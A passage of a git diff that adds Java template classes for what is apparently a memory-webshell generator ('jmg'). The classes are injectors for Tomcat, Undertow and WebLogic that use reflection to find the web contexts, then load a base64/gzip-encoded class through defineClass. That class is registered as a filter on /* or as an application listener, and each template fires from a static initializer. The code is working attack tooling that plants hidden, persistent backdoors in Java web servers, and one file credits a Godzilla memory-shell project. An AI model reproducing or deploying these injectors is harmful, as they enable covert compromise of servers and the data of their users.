Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception e) { + // tomcat v5 + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); + } + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (int i = 0; i < threads.length; i++) { + // 适配 v5 的 Class Loader 问题 + if (threads[i].getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = threads[i].getContextClassLoader(); + break; + } + } + return catalinaLoader; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java new file mode 100644 index 0000000..96010c1 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java @@ -0,0 +1,230 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Tomcat Listener 注入器 + * Author: pen4uin + * 测试版本: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ +public class TomcatListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new TomcatListenerInjectorTpl(); + } + + public TomcatListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + if (isInjected(context, listener.getClass().getName())) { + return; + } + try { + invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener}); + } catch (Exception e) { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + arrayList.add(listener); + // (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch + //context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray()); + invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()}); + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (int i = 0; i < arrayList.size(); i++) { + if (arrayList.get(i).getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java new file mode 100644 index 0000000..4e6b82f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java @@ -0,0 +1,207 @@ +package jmg.core.template; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +public class UndertowFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new UndertowFilterInjectorTpl(); + } + + + public UndertowFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) + contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + String filterClassName = filter.getClass().getName(); + try { + if (isInjected(context, filterClassName)) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java new file mode 100644 index 0000000..5954bcb --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java @@ -0,0 +1,202 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class UndertowListenerInjectorTpl { + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new UndertowListenerInjectorTpl(); + } + + public UndertowListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener + // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener + public void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + for (int i = 0; i < allListeners.size(); i++) { + Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass"); + if (listener.getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + synchronized void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java new file mode 100644 index 0000000..447b01f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java @@ -0,0 +1,292 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +public class WebLogicFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebLogicFilterInjectorTpl(); + } + + + public WebLogicFilterInjectorTpl() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public static Object[] getContextsByMbean() throws Throwable { + HashSet webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFV(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable e) { + + } + + try { + Set childrenSet = (Set) getFV(applicationRuntime, "children"); + Iterator iterator = childrenSet.iterator(); + + while (iterator.hasNext()) { + Object componentRuntime = iterator.next(); + try { + Object context = getFV(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + + } catch (Throwable e) { + + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + HashSet webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFV(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFV(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFV(connectionHandler, "request"); + if (request != null) { + context = getFV(request, "context"); + } + } + if (context == null) { + context = getFV(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + HashSet webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable e) { + + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable e) { + + } + return webappContexts.toArray(); + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + /** + * https://github.com/BeichenDream/GodzillaMemoryShellProject + */ + public void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (!isInjected(context, filterClassName)) { + try { + Object filterManager = invokeMethod(context, "getFilterManager"); + Object servletClassLoader = invokeMethod(context, "getServletClassLoader"); + Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses"); + //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了 + cachedClasses.put(filterClassName, filter.getClass()); + invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); + //将filter置为第一位 + List filterPatternList = (List) getFV(filterManager, "filterPatternList"); + Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); + filterPatternList.add(0, currentMapping); + } catch (Throwable e) { + } + } + } + + public static boolean isInjected(Object context, String filterClassName) throws Exception { + HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters"); + for (Object obj : filters.keySet()) { + if (obj.toString().contains(filterClassName)) + return true; + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, 